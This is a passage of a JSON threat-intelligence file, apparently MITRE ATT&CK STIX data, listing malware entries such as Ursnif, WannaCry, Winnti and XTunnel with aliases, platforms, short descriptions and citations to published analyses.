[ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Unknown Logger" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "created": "2017-05-31T21:33:15.020Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0130" + }, + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ] + }, + { + "name": "Uroburos", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Uroburos" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "created": "2017-05-31T21:32:19.029Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0022" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Uroburos" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "source_name": "Kaspersky Turla", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "name": "Ursnif", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", + "id": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "Ursnif", + "Gozi-ISFB", + "PE_URSNIF", + "Dreambot" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-04T18:42:22.552Z", + "modified": "2019-10-15T17:41:21.696Z", + "external_references": [ + { + "external_id": "S0386", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0386" + }, + { + "description": "(Citation: NJCCIC Ursnif Sept 2016)", + "source_name": "Ursnif" + }, + { + "description": "(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)", + "source_name": "Gozi-ISFB" + }, + { + "description": "(Citation: TrendMicro Ursnif Mar 2015)", + "source_name": "PE_URSNIF" + }, + { + "description": "(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)", + "source_name": "Dreambot" + }, + { + "source_name": "NJCCIC Ursnif Sept 2016", + "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.", + "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif" + }, + { + "source_name": "ProofPoint Ursnif Aug 2016", + "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality" + }, + { + "source_name": "TrendMicro Ursnif Mar 2015", + "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992" + }, + { + "source_name": "FireEye Ursnif Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ] + }, + { + "name": "VERMIN", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VERMIN" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0257", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0257" + }, + { + "description": "(Citation: Unit 42 VERMIN Jan 2018)", + "source_name": "VERMIN" + }, + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ] + }, + { + "name": "Vasport", + "description": "[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Vasport" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0207", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0207" + }, + { + "description": "(Citation: Symantec Vasport May 2012)", + "source_name": "Vasport" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "source_name": "Symantec Vasport May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ] + }, + { + "name": "Volgmer", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)", + "id": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Volgmer" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2019-10-15T22:51:02.737Z", + "external_references": [ + { + "external_id": "S0180", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0180" + }, + { + "description": "(Citation: US-CERT Volgmer Nov 2017) (Citation: US-CERT Volgmer 2 Nov 2017) (Citation: Symantec Volgmer Aug 2014)", + "source_name": "Volgmer" + }, + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ] + }, + { + "name": "WEBC2", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) is a backdoor used by [APT1](https://attack.mitre.org/groups/G0006) to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "WEBC2" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "created": "2017-05-31T21:33:06.433Z", + "modified": "2019-01-30T15:21:42.146Z", + "external_references": [ + { + "external_id": "S0109", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0109" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "WEBC2" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "WINDSHIELD", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "WINDSHIELD" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0155", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0155" + }, + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ] + }, + { + "name": "WINERACK", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "WINERACK" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0219", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0219" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "WINERACK" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "WannaCry", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)", + "id": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0366", + "url": "https://attack.mitre.org/software/S0366" + }, + { + "description": "(Citation: SecureWorks WannaCry Analysis)", + "source_name": "WanaCry" + }, + { + "description": "(Citation: SecureWorks WannaCry Analysis)", + "source_name": "WanaCrypt" + }, + { + "description": "(Citation: LogRhythm WannaCry)", + "source_name": "WanaCrypt0r" + }, + { + "description": "(Citation: LogRhythm WannaCry)(Citation: SecureWorks WannaCry Analysis)", + "source_name": "WCry" + }, + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "US-CERT WannaCry 2017", + "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A" + }, + { + "description": "Dwoskin, E. and Adam, K. (2017, May 14). More than 150 countries affected by massive cyberattack, Europol says. Retrieved March 25, 2019.", + "source_name": "Washington Post WannaCry 2017", + "url": "https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "WannaCry", + "WanaCry", + "WanaCrypt", + "WanaCrypt0r", + "WCry" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jan Miller, CrowdStrike" + ], + "created": "2019-03-25T17:30:17.004Z", + "modified": "2019-04-22T11:43:33.080Z", + "labels": [ + "malware" + ] + }, + { + "name": "Wiarp", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Wiarp" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0206", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0206" + }, + { + "description": "(Citation: Symantec Wiarp May 2012)", + "source_name": "Wiarp" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ] + }, + { + "name": "WinMM", + "description": "[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", + "id": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "WinMM" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:40.004Z", + "modified": "2019-05-03T16:45:45.143Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0059", + "url": "https://attack.mitre.org/software/S0059" + }, + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "name": "Wingbird", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Wingbird" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0176", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0176" + }, + { + "description": "(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)", + "source_name": "Wingbird" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "source_name": "Microsoft NEODYMIUM Dec 2016", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ] + }, + { + "name": "Winnti", + "description": "[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Winnti" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "created": "2017-05-31T21:33:21.027Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0141", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0141" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "source_name": "Kaspersky Winnti April 2013", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "source_name": "Microsoft Winnti Jan 2017", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + }, + { + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "source_name": "Novetta Winnti April 2015", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + } + ] + }, + { + "name": "Wiper", + "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Wiper" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "created": "2017-05-31T21:32:32.915Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0041", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0041" + }, + { + "description": "Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.", + "source_name": "Dell Wiper", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" + } + ] + }, + { + "name": "XAgentOSX", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)", + "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "XAgentOSX", + "OSX.Sofacy" + ], + "type": "malware", + "x_mitre_version": "1.2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-07-26T23:07:20.402Z", + "external_references": [ + { + "external_id": "S0161", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0161" + }, + { + "description": "(Citation: XAgentOSX 2017)", + "source_name": "XAgentOSX" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "OSX.Sofacy" + }, + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ] + }, + { + "name": "XTunnel", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)", + "id": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "malware", + "x_mitre_aliases": [ + "XTunnel", + "Trojan.Shunnael", + "X-Tunnel", + "XAPS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:09.453Z", + "modified": "2019-04-19T18:36:31.731Z", + "external_references": [ + { + "external_id": "S0117", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0117" + }, + { + "description": "(Citation: ESET Sednit Part 2)", + "source_name": "XTunnel" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Trojan.Shunnael" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Symantec APT28 Oct 2018)", + "source_name": "X-Tunnel" + }, + { + "description": "(Citation: ESET Sednit Part 2)", + "source_name": "XAPS" + }, + { + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ] + }, + { + "name": "Xbash", + "description": "[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)", + "id": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "Xbash" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T13:28:47.452Z", + "modified": "2019-06-28T15:15:54.241Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0341", + "url": "https://attack.mitre.org/software/S0341" + }, + { + "description": "(Citation: Unit42 Xbash Sept 2018)", + "source_name": "Xbash" + }, + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "name": "Yahoyah", + "description": "Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)", + "id": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0388", + "url": 